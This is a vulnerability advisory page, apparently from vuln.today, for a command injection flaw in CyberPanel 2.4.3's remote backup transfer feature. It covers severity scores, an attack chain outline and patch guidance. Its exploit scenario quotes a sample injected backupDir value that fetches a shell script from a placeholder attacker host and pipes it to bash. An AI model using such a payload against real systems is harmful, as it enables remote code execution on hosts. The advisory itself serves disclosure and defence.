Skip to main content

CyberPanel CVE-2026-71966

| EUVDEUVD-2026-55736 HIGH
OS Command Injection (CWE-78)
2026-08-10 VulnCheck GHSA-hmw4-vv3v-9326
Command Injection Cyberpanel
8.7
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.9 CRITICAL

Network-exploitable by authenticated low-privilege user; OS command injection crosses into the underlying system scope (S:C), with full CIA impact on the host.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 10, 2026 - 19:46 vuln.today
Analysis Generated
Aug 10, 2026 - 19:46 vuln.today
CVE Published
Aug 10, 2026 - 18:53 cve.org
HIGH 8.7

DescriptionCVE.org

CyberPanel 2.4.3, fixed in commit eca0c3c, contains an authenticated command injection vulnerability in the remote backup transfer feature that allows authenticated attackers to execute arbitrary OS commands by controlling a remote server's API response. Attackers can inject malicious commands through a crafted directory name in the remote server's API response, which bypasses security middleware validation and is passed unsanitized to the OS command execution function.

AnalysisAI

Command injection in CyberPanel 2.4.3's remote backup transfer feature allows authenticated low-privileged users to execute arbitrary OS commands on the host by manipulating the API response of a remote backup server they control. The vulnerability exists in backupManager.py, where the backupDir value returned by the remote server is concatenated unsanitized into shell command strings, bypassing ACLManager middleware validation entirely. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to CyberPanel with low-privilege credentials
Delivery
Configure attacker-controlled server as remote backup destination
Exploit
Initiate remote backup transfer or restore operation
Execution
Attacker server returns crafted API response with shell-injected backupDir value
Persist
CyberPanel concatenates unsanitized backupDir into OS shell command
Impact
Arbitrary commands execute as CyberPanel process user on host
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires a valid CyberPanel account with sufficient role permissions to configure and use the remote backup transfer feature (CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 8.7 with AV:N, AC:L, and PR:L accurately characterizes this as a serious but access-gated threat: exploitation requires valid CyberPanel credentials and the ability to point the backup feature at an attacker-controlled server. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privilege CyberPanel account registers an attacker-controlled server as a remote backup destination, then triggers a remote backup transfer or restore operation. The attacker's server returns an API response where the backupDir field contains embedded shell metacharacters - for example, a value such as '1234; curl http://attacker.com/shell.sh | bash; #'. …
Remediation Upgrade CyberPanel to any build that includes commit eca0c3c or later, available at https://github.com/usmannasir/cyberpanel/commit/eca0c3cbeb35af8eaae9fafb094e8ef3cd923643. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours: Identify and isolate all CyberPanel 2.4.3 deployments; restrict remote access to the backup transfer API endpoints. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Cyberpanel

View all
CVE-2024-51378 CRITICAL POC
9.8 Oct 29

getresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers t
CVE-2024-51567 CRITICAL POC
9.8 Oct 29

upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypas
CVE-2024-51568 CRITICAL POC
9.8 Oct 29

CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecut
CVE-2026-41473 HIGH POC
8.8 Apr 24

Unauthenticated database writes in CyberPanel versions before 2.4.4 allow remote attackers to abuse two AI Scanner worke
CVE-2024-53376 HIGH POC
8.8 Dec 16

CyberPanel before 2.3.8 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the

CVE-2019-13056 HIGH POC
8.8 Jul 02

An issue was discovered in CyberPanel through 1.8.4. Rated high severity (CVSS 8.8), this vulnerability is remotely expl
CVE-2026-71965 HIGH POC
8.7 Aug 10

Authenticated remote code execution in CyberPanel 2.4.3 allows any logged-in user to escalate to persistent root-level S
CVE-2021-47949 HIGH POC
8.7 May 10

CyberPanel 2.1 contains a command execution vulnerability that allows authenticated attackers to read arbitrary files an
CVE-2026-71964 HIGH POC
7.1 Aug 10

Arbitrary file read in CyberPanel 2.4.3's file manager allows authenticated panel users to escape their home-directory s
CVE-2024-54679 MEDIUM POC
6.5 Dec 05

CyberPanel (aka Cyber Panel) before 6778ad1 does not require the FilemanagerAdmin capability for restartMySQL actions. R
CVE-2026-41472 MEDIUM POC
5.3 Apr 24

Stored cross-site scripting in CyberPanel's AI Scanner dashboard chains to unauthenticated remote code execution on vers
CVE-2026-67614 CRITICAL
9.3 Aug 13

Unauthenticated remote root compromise affects CyberPanel before 3.0.0 through a hard-coded JWT signing secret in the We

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2024-9474 MEDIUM POC
6.9

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-71966 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy